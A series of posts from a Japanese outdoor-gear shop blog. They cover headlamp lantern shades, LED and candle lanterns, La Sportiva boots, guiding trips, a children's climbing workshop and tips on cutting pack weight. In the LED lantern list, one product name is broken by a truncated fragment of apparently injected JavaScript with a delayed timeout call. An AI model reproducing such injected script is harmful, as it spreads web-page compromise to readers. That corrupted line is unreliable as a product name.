ヘッドランプdeランタン

前回はランタンの紹介でしたが、今回はなんと!ヘッドランプがランタン代わりになるというものを紹介!装備の軽量化は登山の鉄則みたいなもんですからね。明るさは使用するヘッドランプに依存しますがそれでも光が広がるので目にも優しいです。ということで以下紹介。

P8032823mont-bell:クラッシャブル ランタン シェード @1,050
巾着型のランタンシェード。ヘッドランプを中に入れて口を閉じると完成。ボトム部は内側に円錐状の反射板になっています。収納時は折りたためばとてもコンパクトに。収納ケースとしては内部の反射板が干渉してあまりお勧めはできません。

P8032822MAMMUT:Ambient Light Dry Bag @2,940
防水パック型のランタンシェード。中に空気を入れて口を閉じた後、ボトムのバンドでヘッドライトを固定すれば出来上がり。「Dry Bag」の名も伊達じゃなく、容量3Lの防水パックとしても使えます。パッケージの絵によるとサンドイッチも入るそうです。これを付けたまま頭に装着することも可能です。僕はしません。

因みに今回使用したヘッドランプはBD社のヘッドランプ『スポット』90lumでした。

 

 

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・・・!?

いでみつAOL ~仕事編~

仕事というよりボランティア!乗鞍の翌日月曜日は朝から奥多摩の開拓中の岩場へGO!すげー物量のチャート。チャート。チャート。30m以上のラインもあり、お口・ア・ン・グ・リ・・・。3ピッチくらいのマルチルートも引けちゃいますね!でもコレらは今後開拓するもの。今回行ったのは開拓済みの一部を使って世のため、人のため、子供達のためにクライミング講習会してまいりました。

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幼稚園年長くらいから小学生までの福島っ子ら20人以上を奥多摩の古民家へ1週間ほど招待して色々アクティビティーをする。その一環でクライミング!というわけです。とにかく暑さに負けないくらいの熱量でビレイ諸々してまいりました。登りながら怖くて泣き出す素直な子供たちを応援しながら感じるコト。俺も怖かった・・・・(笑)。ワカルソノキモチ!でもやらなきゃならん時もあるわけです。そのエッセンスがクライミングの魅力の一つと思っているわけで・・・。まっ!とにかく取り付いた子供ら全員大騒ぎしながら登りました。伝わったかな・・・・。

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原発事故以降、夏休みに限らず遊んでいた自然には、今まで通りのアプローチがしにくくなってしまっているようで・・・・。それなら是非東京で遊んでぇ~というNPO法人の企画でした。これからも、登山ガイドの資格取ったからこそ声かけてもらえる、こういったお手伝いは積極的にしていきまっす(^^)v

ランタン使ってみませんか?

秋の夜長に欠かせないのがなんといってもこれ!ランターン。ってあれ?まだ夏始まったばかりですよー、って?
言われてみればそんな気もしますが、ただ最近時間がたつのが早いなぁと、思うのです。この前新学期が始まったと思ったらもう期末テストで・・・。でもこれからやっと夏休み!いっぱい遊ぶぞー!と思いきや研究室と就活に追われる日々を送るのでしょうね。すると結局秋何てすぐなんですよ。あーいやだいやだ。

ところでランタンと言えば昔は白ガソリンランタンやガス缶の物が主流でしたが重さや個人山行が増えた等の理由からかLEDのランタンが増えてきましたね。ガソリンやガスを使っていたころはやたらテント炎上の話題があった気がしますが、LEDならそんな心配はいりません。明るさも十分あり、何より軽い!これにつきますね。まぁ個人山行ならヘッドランプで十分だよという人もいると思いますが、そんな人は次回、待っていてください。ということで以下紹介。

P8032826BD:Apollo @5,250
80Lumens 最大60時間点灯
P8032836BD:Orbit @3,150
45Lumens 最大24時間点灯
P8032844
左から
UCO:MIGHTY LITE FLIP @4,200
185Lumens 最大25時間点灯
UCO:STRETCH LITE XL @3,150
26Lumens 最大22時間点灯
ハイマウント:Lantern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Torch @2,205
76Lumens 最大16時間点灯

P8032839キャンドルランタン
左から
UCO:CANDLE LANTERN @3,045
キャンドルを収納することで簡単なキャンドルランタンに。やっぱり人工的な明かりより火の明かりの方が落ち着きますね。
ただしテントの屋根につるすと思わぬ事故(テント炎上とか)につながるので注意してください。
UCO:CANDLE LANTERN SPARE CANDLE @577
CANDLE LANTERNに付属のろうそく。9時間燃焼。

詳細はデナリネットショップ「LEDランタンコーナー」へ

これは何でしょう?

これは何でしょう?

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デナリさんの売上ではございません・・・、ブログのアクセス解析です。土日は皆さんお出かけ、定休日の更新なしとくれば、ある程度リズムは出来てきます。ただ、先週は水曜日の『隙間産業じゃないヨ、割れ目産業だから。』かなり力を込めた!、相当頑張った!。にも拘わらず、アクセス落ちてるじゃん!!、どーゆー事???。僕の努力と読者の都合はまるでシンクロしない。ここは一つ再履修を促すべく、さりげなく主張してみよう。

000041お陰様で「新」の方は順調です。ご覧頂いている皆様、いつもありがとうございます。更新されないブログより無理矢理更新するブログもどーなの?、そんなこんなで、1記事ゲットだぜ!。明日も「リアル夏休み帳」的などーでもイイネタで行きます、だって、夏休みだから(笑)。

La Sportivaの靴(3シーズン編)

引き続きLa Sportivaの靴です。本日は3シーズン編。

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画面左:Trango S EVO GTX(トランゴSエボGTX 予価¥38,850)、画面右:Trango Guide GTX(トランゴガイドGTX 予価¥36,750)。個人的な感想は「テクニカルマウンテンブーツ」と「テクニカルすぎるマウンテンブーツ」とでも申しましょうか?。トランゴガイドは凄く魅力的なのですが、位置付けはアプローチシューズ→3シーズンブーツの「→」の位置に居るため、「大島-板野-前田」的な「板野」的存在。

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トランゴSエボのソールは「ブロックパターン+クライミングゾーン」ですが、トランゴガイドのソールは「コインパターン+クライミングゾーン」なので、「歩き」と言うより「登り」に特化したモデル。アッパーも柔らかく柔軟な動きに対応したテクニカルタイプで、「重い」とか「長い」とかには向かない。 やはり、こーゆーのはヨーロッパの岩稜で格好良く使うためにあるのだろ、裏山=泥山みたいな環境では光り輝きません。

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で、何故か最近問い合わせが多いTrango Trek Micro EVO GTX(トランゴトレックマイクロエボGTX 予価¥35,700)についても。カタログでは「Sエボを少しソフトに」と書いてありますが、硬性自体は、「Sエボ→トレックマイクロ→アルプ」という感じで、「セミワンタッチ対応ソール」でない所が「ソフト」な所!?だと思われますが、どーでしょ。アッパーがレザーなのでSエボよりしっかりしてますが、ソール周辺はアルプよりソフトなので、非常に扱いやすい。お問い合せ頂く皆様、なかなかイイ靴ですよ。でも、うちはこれ以上アイテム増やしたくないので置いていません(笑)。

スミマセン!!、ほんとはAKBの事など何も分かりません!。ググって単語並べただけです。ただ、靴の方はそんな事ありませんからご心配なく。

La Sportivaの靴(アプローチ編)

スポルティバジャパンさんに来期の靴を見に行って来た時の話。おそらく、多分、メーカー内なら比較検討しても許されるに違いない!、な訳でコメントが出来そーなモデルの画像からネタを絞り出してみます。スペックや美辞麗句はカタログからお願いします。それにしても毎日暑い・・・。

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先ずは新作。Hyper MID GTX(ハイパーミッドGTX 予価¥27,500)。裏側はこんな感じ。

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重量も1/2ペア500gで、Boulder X MID GTX(ボルダーXミッドGTX)とよく似ています。「アプローチ専用に新開発」と言うだけあって、作り的にはソールがやや薄めでより「足裏感覚」がしっかり出ます。「エッジングよりスメア向き」な作りで「ハイグレードハイキング」と言うより「クラシッククライミング」向きかな?。

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で、お馴染みのBoulder X MID GTX(ボルダーXミッドGTX 予価¥25,800)に来年は新色が追加されます。個人的には今年の「逸品」で非常に評価、スペック・堅さなど日本の現場によくマッチしたアプローチシューズだと思います。上の新作ハイパーミッドも気になりますが、歩く距離や荷物の重量を考慮すると「アプローチ」過ぎるのも何なので、デナリさんではボルダーXミッドのカラー追加で乗り切るつもりです。

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Italian Madeが格好よいGunda Guide(ガンダガイド 予価¥42,000)です。足入れも最高で欲しくなる事この上なし、ただ価格も格好よすぎて、足は出るがなかなか手が出ない・・・。日本国内のレア度は非常に高いので、靴好きの方は是非一度足入れしてみて下さい。勿論デナリにはありません!、冗談じゃない、10足で40万オーバーの在庫を抱える程余裕ある訳ない(笑)。

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で、みんなで集合写真撮って今日は終わり。

ビエ君 ~夏の日記~ レゲーバー

幼なじみの友達のEくんと飲みに行きました。とってもたのしかったです!

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新宿三丁目駅と新宿御苑前駅の間くらいにある、ちっちゃな道の奥の地下にあるこのお店は、知らないと見つけられないお店。

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この店は去年、たまたま見つけました。終電を逃して、お酒でいい気分になってふらふら歩いていて、フッと小さい道の奥を見ると、奥のほうに、赤、黄、緑の色の看板が見えた。酔っ払った勢いで、中に入ってたら、ROOTS REGGAEのライブ。最高によかった!

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普通の日も、壁一面ぐらい大きいスピカーから超ルーツなReggaeをDJ が流して、店内にあるジャンベーとかいろんな楽器もつかえて楽しい!値段も安いし、カクテルとかもおいしい。それ以降、時々M とEと遊びに行く。レゲー好きな人にはたまらないお店です。

でなりらぼ(何で重いか考えてみた)

元ガールや元ボーイの諸先輩方がいらっしゃいますと、二言目には「軽いヤツ」を要求してきます。「OKっス、全然、OKっス」とはいうものの根本的に何かが違うのです・・・。言っておきますが、これは現ガール&ボーイも共通、ややガール&ボーイにも共通、物体の重さなどそーそー変わる訳ねぇーじゃん、小学校からやり直すかぁ!?、だから根本的に何かが違うのです!!。今日は久し振りの活字です。「読み物」ですから落ちたい人はココで落ちてください、乗れる人は乗っかって適当に読んで下さい。

ザックの「検閲」は「人格否定」になりかねないので、あまりやりたくないのですが、心を鬼にしてやらなければならい事もある!、だからOKもらえばガチ開放です!。で、開けた瞬間この体たらくですかぁ・・・、“軽いヤツ”をGetしたらそれ以上に増えてるとは何事なんだい!!!。「軽量&コンパクト」などと言うボキャを聞いた瞬間、人は完璧に油断します、だから「気にしない」。そーじゃないでしょ、あなたが理想としたのは、質素倹約、ミニマリスト、「必要以上に持たない覚悟」それは何処にいったのですか?。

例えば、行動食。食べきれないアメを袋ご何故入れる?、「もしもの時」用なら、「もしもの時用」で1パックすべきでしょ?。体力でカバー出来る範囲なら文句も言いませんが、“ココ一発”的な時もいつもと同じでは困ります。馬鹿げていますが1つづつ数えて準備するのが普通で、「ガバッと」入れるのはおかしいのです。「防水バックの中にビニール袋、上にも更にビニール袋」も不要。そこまで用心深いなら、防水袋にパッキングした荷物と入浴して防水性能試すぐらいの心意気はないのかぁ?。

皆さん、普段お忙しいのでなかなか出来ない事ですが、ホントに軽くしたいなら、自分の基本装備の重量をまず計ってみて「何が削れなくて何が削れるのか」把握する事が大切です。「軽いザックの購入」を検討する前に「中に入れる物」を徹底的に検証する方が、体にも財布にも優しい。道具屋さんは道具売るのが仕事ですが、使い方説明するのも仕事な訳で「荷物多い」と言われる人には、「何故多いと言われるのか?」ちゃんと考えてもらいたい。

ベテランの方など「何を今更?」って感じかも知れませんが、あなたの体力も着実に衰えております。ココは一つ原点回帰で暇な時にでも「基本的な事」をもう一度見直してみては?。ちなみに「ベテラン」の意味は「退役軍人」、対義語は「ルーキー」で「新兵」。今まで積んできた経験と実績がもったいない、頑張ってまだまだ現役続けて下さい!。

いでみつAOL ~仕事編~

先週はクラツーの山旅スクールのサブガイドとして乗鞍岳鳥居尾根行ってまいりましたぁ~。

山麗にある一之瀬遊園からの乗鞍岳
山麗にある一之瀬遊園からの乗鞍岳

参加の方々は今月末に今年の目標!新穂高~南岳~槍ヶ岳へ行くそうです。ちなみに初年度は北岳。2年目は槍ヶ岳。3年目は剣岳という流れ。まっ!そのトレーニングをかねての山行ですね。山麗から登ると標高差約1,500mの登り返しとなり、トレーニングにはもってこい!・・・という事です。畳平からの集団観光客に肩の小屋で出会うまでは、静かな登りを堪能できました。朝日も綺麗だったなぁ~!

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この時期、ココはお花が綺麗!岩にしか興味が無い!では登山ガイド失格・・・。デナリの掟「知らぬは悪・・・」ということで、何事も勉強!勉強!コレばかりはお客様に沢山教えてもらいながらのガイディングでした・・・(汗)この調子でこの夏花尽くしの仕事が続くので、メインガイドする頃には沢山覚えていることでしょう(苦笑)。そう自分へ言い聞かせて、まずは花を見つける努力からしとりました(・・・レベルが低い)

あと、今シーズンからのGORE-TEXアクティヴシェルのインプレッションを少々。3レイヤーなのにとにかく薄い(軽い)。薄すぎて積極的に「防水」をうたえない&岩場でガリガリ使うのに気が引ける・・・のが肝ですが、そんなの関係ね~♪(古っ・・)。私がGOERに求めること。それは他の追随を許さないその透湿性!で、今回モンチュラのアクティヴシェルを着てきました。肌寒い日の出前から太陽が高くなるまで着てました。当然樹林帯ですから汗は結構かきます。ですがぁ~汗の抜けは予想通りGOOD!!プロシェルよりイイです!正式に一軍スタメン採用決定としました。今まで着ていたプロシェルはガリガリと激しい場所へ行く時、代打の切り札的な使い方へと進化させます。適材適所というやつです。

欲しかったのはこーゆーのでしょっ?(ぎあくえ)

まだ寒い時期にいらっしゃた何処ぞの会所属の女性のお客様、欲しかったのはこーゆーのでしょっ?。人を覚えるのが苦手な僕は、彼女の事はまるで思い出せませんが、彼女が欲しかった「物」はそれからもずっと考えていました。ついに見つけたこの感動!、伝えたくて仕方ありませんが、誰だっけ?・・・。

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会山行でおたまを持って行くと取っ手が邪魔で「荷物が増える」と叱られるらしーのですが、汁物をいじくる時はやはりおたま欲しいよね。カレーを食べたカップでお湯すくわれて「お茶飲みます?」なんて言われても困るし、鍋のおつゆが飲みたい時など具をかき分けてスプーンで必死にすくうのも面倒。だからやっぱりおたまが欲しいの。フフフ・・・、これなら会の先輩も気付くまい!。

勿論、折りたたみ式のおたまは数社から販売されていますが、どれも今一。「折りたたみ故に折りたたまれる」ので上手くすくえない事がある。だから、力が働く方向にフォークガードされているコレはきっとイイに違いない。別パーツならハンバーグだって裏返せるゾ!。ただ、1つ問題がぁ・・・。日本では「口に入れる物」の輸入販売には検査や認可が凄く厳しく、手間が掛かり大変なののです。

一応、ダメ元でEDELRID社の日本代理店(株)マジックマウンテンさんのデナリ担当者に「おたまを持って行くと意地悪な先輩にいじめられる薄幸な女性を救うために、俺を男にして下さい、頼みまス!!」とモリモリでお願いしたところ「無理!」と秒殺された。う~ん、手にとっていじくってみたいよぉ~。で、「サンプル取って僕に使わせて」と只今ダダをこねている途中。

とりあえず、バックアップとして、1,Paris駐在員オリビエさんに自転車で道具屋行かせて買ってこさせる、2,どーせプラスチックSporkの様に折れそーなので「みたいな物」を別物で自作する、の2点を検討中。うおぉ~、余計触りたくなってきた。

そんな訳で、おたまを持って行くと先輩に叱られる女性の方、またのご来店お待ちしております(笑)。